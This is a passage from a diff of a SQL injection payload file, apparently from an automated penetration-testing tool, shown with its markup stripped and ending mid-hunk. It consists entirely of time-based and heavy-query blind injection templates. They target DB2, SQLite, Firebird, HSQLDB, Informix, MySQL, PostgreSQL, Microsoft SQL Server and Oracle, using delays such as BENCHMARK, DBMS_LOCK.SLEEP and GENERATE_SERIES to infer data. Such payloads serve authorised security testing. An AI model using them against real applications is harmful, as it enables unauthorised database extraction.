[RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + WHERE ([INFERENCE])) + - AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES + AS T3) + @@ -958,9 +1044,13 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + WHERE ([INFERENCE])) + - OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES + AS T3) + @@ -977,9 +1067,13 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + WHERE ([INFERENCE])) + - AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES + AS T3) + -- @@ -997,9 +1091,13 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 WHERE ([INFERENCE])) + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3 + WHERE ([INFERENCE])) + - OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES AS T3) + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSIBM.SYSTABLES AS T1,SYSIBM.SYSTABLES AS T2,SYSIBM.SYSTABLES + AS T3) + -- @@ -1017,7 +1115,9 @@ 2 1,8,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN + (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) @@ -1037,7 +1137,9 @@ 3 1,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN + (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) @@ -1057,7 +1159,9 @@ 2 1,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN + (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) -- @@ -1078,7 +1182,9 @@ 3 1,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN + (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END) + OR [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) -- @@ -1099,9 +1205,13 @@ 2 1,9 1 - AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + - AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4) + @@ -1119,9 +1229,13 @@ 3 1,9 1 - OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + - OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4) + @@ -1139,9 +1253,13 @@ 2 1,9 1 - AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + AND [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + - AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + AND [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4) + -- @@ -1160,9 +1278,13 @@ 3 1,9 1 - OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + OR [RANDNUM]=IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + - OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + OR [RANDNUM]=(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4) + -- @@ -1181,9 +1303,13 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * + FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + - AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS + T3) + @@ -1200,9 +1326,12 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * + FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + - OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + @@ -1219,9 +1348,13 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + AND [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * + FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + - AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + AND [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS + T3) + -- @@ -1239,9 +1372,12 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + OR [RANDNUM]=(SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * + FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + - OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + OR [RANDNUM]=(SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) + -- @@ -1259,9 +1395,12 @@ 2 1,2,3,9 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + - AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + @@ -1279,9 +1418,12 @@ 3 1,2,3,9 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + - OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + @@ -1299,9 +1441,12 @@ 2 1,2,3,9 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + - AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + -- @@ -1320,9 +1465,12 @@ 3 1,2,3,9 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) ELSE '[RANDSTR]' END + - OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(RIGHT(CHAR([RANDNUM]),0),[SLEEPTIME]000000000),NULL) + -- @@ -1341,9 +1489,12 @@ 2 1,2,3,9 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + - AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + @@ -1361,9 +1512,12 @@ 3 1,2,3,9 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + - OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + @@ -1381,9 +1535,12 @@ 2 1,2,3,9 1 - AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + AND '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + - AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + AND '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + -- @@ -1402,9 +1559,12 @@ 3 1,2,3,9 1 - OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + OR '[RANDSTR]'=CASE WHEN ([INFERENCE]) THEN + REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) ELSE '[RANDSTR]' END + - OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + OR '[RANDSTR]'=REGEXP_SUBSTRING(REPEAT(LEFT(CRYPT_KEY('AES',NULL),0),[SLEEPTIME]00000000),NULL) + -- @@ -1423,7 +1583,9 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] + END) + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) @@ -1442,7 +1604,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] + END) + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) @@ -1461,7 +1625,9 @@ 2 1,2,3,9 1 - AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + AND [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] + END) + AND [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) -- @@ -1481,7 +1647,9 @@ 3 1,2,3,9 1 - OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] END) + OR [RANDNUM]=(CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) ELSE [RANDNUM] + END) + OR [RANDNUM]=(SELECT COUNT(*) FROM SYSMASTER:SYSPAGHDR) -- @@ -1505,9 +1673,13 @@ 2 1,2,3,4,5 1 - PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) + PROCEDURE + ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) + - PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) + PROCEDURE + ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) + @@ -1525,9 +1697,13 @@ 2 1,2,3,4,5 1 - PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) + PROCEDURE + ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])))),1) + - PROCEDURE ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) + PROCEDURE + ANALYSE(EXTRACTVALUE([RANDNUM],CONCAT('\',(BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))))),1) + # @@ -1588,9 +1764,12 @@ 2 1,2,3,9 3 - (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([INFERENCE]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + - (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE [RANDNUM]) + (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]'))) ELSE + [RANDNUM]) + @@ -1608,9 +1787,13 @@ 2 1,2,3,9 1 - IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + IF(([INFERENCE]),(SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, + INFORMATION_SCHEMA.COLUMNS C),[RANDNUM]) + - (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, INFORMATION_SCHEMA.COLUMNS C) + (SELECT COUNT(*) FROM INFORMATION_SCHEMA.COLUMNS A, INFORMATION_SCHEMA.COLUMNS B, + INFORMATION_SCHEMA.COLUMNS C) + @@ -1705,7 +1888,9 @@ 2 1,2,3,9 3 - (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] END) + (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) ELSE [RANDNUM] + END) + (SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000)) @@ -1724,9 +1909,14 @@ 2 1,3,9 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers + AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE [RANDNUM] END)) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM sysusers AS sys1,sysusers AS + sys2,sysusers AS sys3,sysusers AS sys4,sysusers AS sys5,sysusers AS sys6,sysusers AS sys7) ELSE + [RANDNUM] END)) + @@ -1747,7 +1937,9 @@ 3 BEGIN IF ([INFERENCE]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; - BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; END; + BEGIN IF ([RANDNUM]=[RANDNUM]) THEN DBMS_LOCK.SLEEP([SLEEPTIME]); ELSE DBMS_LOCK.SLEEP(0); END IF; + END; + @@ -1764,9 +1956,13 @@ 1 1,3,9 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) + (SELECT (CASE WHEN ([INFERENCE]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] + END) FROM DUAL) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) ELSE [RANDNUM] END) FROM DUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME]) + ELSE [RANDNUM] END) FROM DUAL) + @@ -1783,9 +1979,13 @@ 2 1,3,9 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) + (SELECT (CASE WHEN ([INFERENCE]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS + T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) + - (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) + (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN (SELECT COUNT(*) FROM ALL_USERS T1,ALL_USERS + T2,ALL_USERS T3,ALL_USERS T4,ALL_USERS T5) ELSE [RANDNUM] END) FROM DUAL) + @@ -1802,7 +2002,9 @@ 2 1,2,3,9 3 - (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) ELSE [RANDNUM] END)) + (SELECT (CASE WHEN ([INFERENCE]) THEN (LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) + ELSE [RANDNUM] END)) + (SELECT LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))) @@ -1822,9 +2024,12 @@ 2 1,2,3,9 3 - IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + IIF(([INFERENCE]),(SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS + T3,RDB$FUNCTIONS AS T4),[RANDNUM]) + - (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + (SELECT COUNT(*) FROM RDB$FIELDS AS T1,RDB$TYPES AS T2,RDB$COLLATIONS AS T3,RDB$FUNCTIONS AS T4) + @@ -1842,7 +2047,9 @@ 2 1,3,9 3 - (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + (SELECT COUNT(*) FROM (SELECT * FROM DOMAIN.DOMAINS WHERE ([INFERENCE])) AS T1,(SELECT * FROM + DOMAIN.COLUMNS WHERE ([INFERENCE])) AS T2,(SELECT * FROM DOMAIN.TABLES WHERE ([INFERENCE])) AS T3) + (SELECT COUNT(*) FROM DOMAIN.DOMAINS AS T1,DOMAIN.COLUMNS AS T2,DOMAIN.TABLES AS T3) @@ 